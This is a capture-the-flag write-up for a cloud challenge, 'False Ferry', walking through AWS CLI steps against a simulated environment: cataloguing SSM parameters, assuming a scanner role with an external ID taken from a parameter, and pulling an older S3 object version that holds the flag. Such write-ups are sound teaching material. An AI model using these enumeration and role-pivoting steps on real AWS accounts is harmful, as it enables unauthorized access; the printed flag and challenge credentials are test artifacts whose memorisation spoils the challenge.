HTB Cyber Apocalypse 2026 - The Salt Crown: Cloud / False Ferry (Easy)

Author: Hubert Feyrer / hubertf - 31.07.2026

Challenge description

Lysa Harrowmere reaches the lower city ferry piers while Stormbound soldiers wait for the morning boat. They are supposed to cross the river and guard the east road before Vaultrune's next patrol moves through. The route board says the boat goes to the east road landing, but the crew roster sends it to a dock controlled by Vaultrune. If Lysa warns the soldiers openly, Vaultrune's men can claim she started a fight at the pier. If she confronts the ferry master, his guards can tear down the roster and post the correct one. Lysa has one job: find the earlier crossing list, prove who changed the dock, and get the soldiers onto the right boat before Vaultrune cuts the road.

A LocalStack-style AWS environment. The flag sits in an older version of an S3 object, and the path to it is a chain of pointers - each step gated by a different permission, and each pointing at the next.

1. Download

Nothing. This challenge ships no files at all - only two network endpoints and a set of starting credentials shown on the briefing page.

2. Docker/nc - what we get

Two ports. The first is an AWS API endpoint, and says so in its error message:

$ curl 154.57.164.73:30710; echo ""
{"__type":"AccessDeniedException","message":"User is not authorized to perform:
MissingAuthentication"}

The second serves the briefing page:

The False Ferry briefing page

The briefing names the parameter namespace and adds one instruction that turns out to be a hint about permissions: "Catalog the namespace before you read any parameter value."

It also hands over IAM user credentials:

IAM USER            coalition-ferry-clerk
ACCESS KEY ID       AKIA1SAO071HB8J9CF17
SECRET ACCESS KEY   iwkdfkyWGCUMWTjDyVVQ7xl4t0jQxZerBQE3uuhS
REGION              us-east-1

Conclusion: Point the AWS CLI at the challenge endpoint rather than at real AWS, and make sure no stale session token is left over from earlier work:

$ export AWS_ENDPOINT_URL=http://154.57.164.73:30710
$ export AWS_DEFAULT_REGION=us-east-1
$ export AWS_ACCESS_KEY_ID=AKIA1SAO071HB8J9CF17
$ export AWS_SECRET_ACCESS_KEY=iwkdfkyWGCUMWTjDyVVQ7xl4t0jQxZerBQE3uuhS
$ unset AWS_SESSION_TOKEN

$ aws sts get-caller-identity
{
    "UserId": "AIDAOK7T88DIGCVUDHD4",
    "Account": "584729103648",
    "Arn": "arn:aws:iam::584729103648:user/coalition-ferry-clerk"
}

3. Analysis steps

3.1 Catalogue the parameter namespace (success)

The briefing points at Systems Manager under /ferry/crossing/. The obvious move is get-parameters-by-path, which returns names and values in one call - but that is denied. describe-parameters and get-parameter are allowed, so the namespace has to be catalogued first and read one entry at a time.

$ aws ssm describe-parameters
{
    "Parameters": [
        {"Name": "/ferry/crossing/live-crossing-id",       ...},
        {"Name": "/ferry/crossing/CROSSING-VOID-9B11",     ...},
        {"Name": "/ferry/crossing/CROSSING-CLOSED-5E22",   ...},
        {"Name": "/ferry/crossing/CROSSING-DRAFT-8D40",    ...},
        {"Name": "/ferry/crossing/CROSSING-VOID-3C21",     ...},
        {"Name": "/ferry/crossing/CROSSING-7A3F",          ...},
        {"Name": "/ferry/crossing/CROSSING-VOID-1A04",     ...},
        {"Name": "/ferry/crossing/CROSSING-VOID-2D77",     ...}
    ]
}

Conclusion: Eight parameters. The naming already sorts them - one pointer (live-crossing-id), one plain crossing, and six marked VOID/CLOSED/DRAFT. Read them all in a loop, piping through cat so the CLI does not open a pager:

$ for n in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text) ; do
      echo "=== $n"
      aws ssm get-parameter --name $n --query 'Parameter.Value' --output text | cat
  done

3.2 Separate the decoys from the real record (success)

Seven of the eight records look alike at a glance. The differences are in three fields.

=== /ferry/crossing/live-crossing-id
CROSSING-7A3F

=== /ferry/crossing/CROSSING-VOID-9B11
{
  "crossing_id": "CROSSING-VOID-9B11",
  "status": "VOID",
  "issuer": "third-party-archive",
  "scanner_external_id": "sb-ferry-audit-2025-11004-retired",
  "manifest_bucket": "ferry-crossing-manifest",
  "manifest_object_key": "manifests/emergency-crossing-draft.txt",
  "record_type": "crossing_manifest",
  "manifest_version_id": "00000000000000000000000000000000"
}

=== /ferry/crossing/CROSSING-7A3F
{
  "crossing_id": "CROSSING-7A3F",
  "status": "AUTHORIZED",
  "issuer": "stormbound-coalition-ferry-office",
  "scanner_role_arn": "arn:aws:iam::584729103648:role/ferry-crossing-scanner",
  "scanner_external_id": "ferry-crossing-scanner-7a3f",
  "manifest_bucket": "ferry-crossing-manifest",
  "manifest_object_key": "manifests/morning-crossing-order.txt",
  "manifest_version_id": "780cb956-b9f2-49d0-a761-bfc492f169a4",
  "record_type": "crossing_manifest"
}
FieldDecoys (7)CROSSING-7A3F
statusVOID / CLOSED / DRAFTAUTHORIZED
issuerthird-party-archivestormbound-coalition-ferry-office
scanner_role_arnabsentpresent
manifest_version_idabsent or all-zero780cb956-...

Conclusion: live-crossing-id points at CROSSING-7A3F, and that is also the only record carrying a role ARN and a real pinned object version. Two things follow: there is a second role with more privileges, and somebody pinned a specific version of the manifest - which only matters if the object changed later.

3.3 Assume the scanner role (failed first)

The record hands over a role ARN, so the obvious next step is sts assume-role.

Called with just the ARN it fails with AccessDenied - which reads like "your user may not assume this role" and sends you looking for another privilege escalation path. It is not that. The role's trust policy requires an external ID, and the record supplies it in the field right below the ARN: scanner_external_id: ferry-crossing-scanner-7a3f.

$ aws sts assume-role \
      --role-arn 'arn:aws:iam::584729103648:role/ferry-crossing-scanner' \
      --role-session-name oink \
      --external-id ferry-crossing-scanner-7a3f
{
    "Credentials": {
        "AccessKeyId": "ASIAQXWVMVFL23NPC0RY",
        "SecretAccessKey": "VI5xSdGibpMXrlx1mwNnSYBO61PiwJ8LMvsfW1La",
        "SessionToken": "xLdDvw4ssM46h5IEsmp6...",
        "Expiration": "2026-07-25T17:34:24.496771+00:00"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::584729103648:assumed-role/ferry-crossing-scanner/oink"
    }
}

Conclusion: The misleading error is the actual lesson here - with external IDs, a missing condition value and a missing permission produce the same AccessDenied. Export the three new variables (this time including AWS_SESSION_TOKEN) and continue as the scanner role.

3.4 Find the older object version (success)

The authorized record pinned version 780cb956-.... If that is still the current one, nothing was tampered with - so list the versions.

$ aws s3api list-object-versions --bucket ferry-crossing-manifest --prefix manifests/
{
    "Versions": [
        {"Key": "manifests/morning-crossing-order.txt", "Size": 129,
          "VersionId": "f922e032-2cbb-498e-87f8-ffa513382b4d", "IsLatest": true },
        {"Key": "manifests/morning-crossing-order.txt", "Size":  99,
          "VersionId": "57cb46ad-16ef-4513-b7d7-1219a62ef771", "IsLatest": false},
        {"Key": "manifests/morning-crossing-order.txt", "Size": 157,
          "VersionId": "780cb956-b9f2-49d0-a761-bfc492f169a4", "IsLatest": false}
    ]
}

Conclusion: Three versions, and the pinned one is not the latest - f922e032-... was uploaded afterwards. That is the swap the challenge asks to prove. Fetch both and compare.

4. Solution

No exploit code - the whole challenge is a chain of AWS CLI calls. Collected into one script, with the values that have to be read out of the previous step's output marked:

#!/bin/sh
# False Ferry - recover the pre-tamper crossing manifest.

# --- clerk credentials from the briefing page --------------------------
export AWS_ENDPOINT_URL=http://154.57.164.73:30710
export AWS_DEFAULT_REGION=us-east-1
export AWS_ACCESS_KEY_ID=AKIA1SAO071HB8J9CF17
export AWS_SECRET_ACCESS_KEY=iwkdfkyWGCUMWTjDyVVQ7xl4t0jQxZerBQE3uuhS
unset AWS_SESSION_TOKEN

aws sts get-caller-identity

# --- 1. catalogue and read the namespace one value at a time -----------
#     (get-parameters-by-path is denied; describe + get are allowed)
for n in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text) ; do
    echo "=== $n"
    aws ssm get-parameter --name $n --query 'Parameter.Value' --output text | cat
done

# --- 2. the only AUTHORIZED record names a role AND an external id -----
ROLE=arn:aws:iam::584729103648:role/ferry-crossing-scanner
EXTID=ferry-crossing-scanner-7a3f
PINNED=780cb956-b9f2-49d0-a761-bfc492f169a4      # manifest_version_id

aws sts assume-role --role-arn "$ROLE" --role-session-name oink \
                    --external-id "$EXTID"

# --- 3. switch to the scanner role (values from the output above) ------
export AWS_ACCESS_KEY_ID=ASIAQXWVMVFL23NPC0RY
export AWS_SECRET_ACCESS_KEY=VI5xSdGibpMXrlx1mwNnSYBO61PiwJ8LMvsfW1La
export AWS_SESSION_TOKEN=xLdDvw4ssM46h5IEsmp6...

# --- 4. the pinned version is not the latest one -----------------------
aws s3api list-object-versions --bucket ferry-crossing-manifest --prefix manifests/

aws s3api get-object --bucket ferry-crossing-manifest \
    --key manifests/morning-crossing-order.txt \
    --version-id "$PINNED" linked.txt

aws s3api get-object --bucket ferry-crossing-manifest \
    --key manifests/morning-crossing-order.txt \
    --version-id f922e032-2cbb-498e-87f8-ffa513382b4d latest.txt

diff linked.txt latest.txt

5. Run it

The two manifest versions, side by side:

$ cat latest.txt
CROSSING AUTHORIZATION
Batch: CROSSING-VOID-9B11
Status: RELEASED
Effective: 2026-06-15
Reference: emergency-release ED-2026-014

$ cat linked.txt
CROSSING RELEASE RECORD
Batch: CROSSING-7A3F
Authorized by: Stormbound Coalition Ferry Office
HTB{ferry_crossing_dock_seal_68df0c3aad67912c39a513120cbdd940}
$ diff linked.txt latest.txt
--- linked.txt   2026-07-25 18:43:58
+++ latest.txt   2026-07-25 18:44:50
@@ -1,4 +1,5 @@
-CROSSING RELEASE RECORD
-Batch: CROSSING-7A3F
-Authorized by: Stormbound Coalition Ferry Office
-HTB{ferry_crossing_dock_seal_68df0c3aad67912c39a513120cbdd940}
+CROSSING AUTHORIZATION
+Batch: CROSSING-VOID-9B11
+Status: RELEASED
+Effective: 2026-06-15
+Reference: emergency-release ED-2026-014

That diff is the proof the story asks for: the current manifest points the crossing at the voided batch CROSSING-VOID-9B11, while the version the authorization record pinned names CROSSING-7A3F and the coalition ferry office as issuer.

This protocol is from the original run - unlike a local binary, an AWS environment cannot be re-created from the handout, because there is no handout.

Flag

HTB{ferry_crossing_dock_seal_68df0c3aad67912c39a513120cbdd940}

6. Summary of how the exploit works

#StageMechanism
1Enumerate under a partial permission GetParametersByPath is denied, DescribeParameters/GetParameter are allowed - so catalogue the namespace first, then read each value individually.
2Filter the decoys Eight records, seven of them VOID/CLOSED/DRAFT from third-party-archive. Only CROSSING-7A3F is AUTHORIZED, issued by the ferry office, and it is the one live-crossing-id points at.
3Escalate via the record itself That record carries both the role ARN and the external ID its trust policy demands. Without --external-id the call fails as AccessDenied, which looks like a missing permission rather than a missing parameter.
4Follow the pinned version The record pins S3 version 780cb956-..., which is not IsLatest. A newer upload swapped in the voided batch; the pinned version still holds the original manifest - and the flag.

Two version concepts are stacked here, and telling them apart is the actual puzzle: the SSM parameter is at version 1 and perfectly current, while the manifest_version_id inside its value refers to S3 object versioning. Pinning the object version at authorization time is exactly what makes the later swap provable - the tampering is invisible if you only ever read the current object, and undeniable the moment you compare it against what was authorized.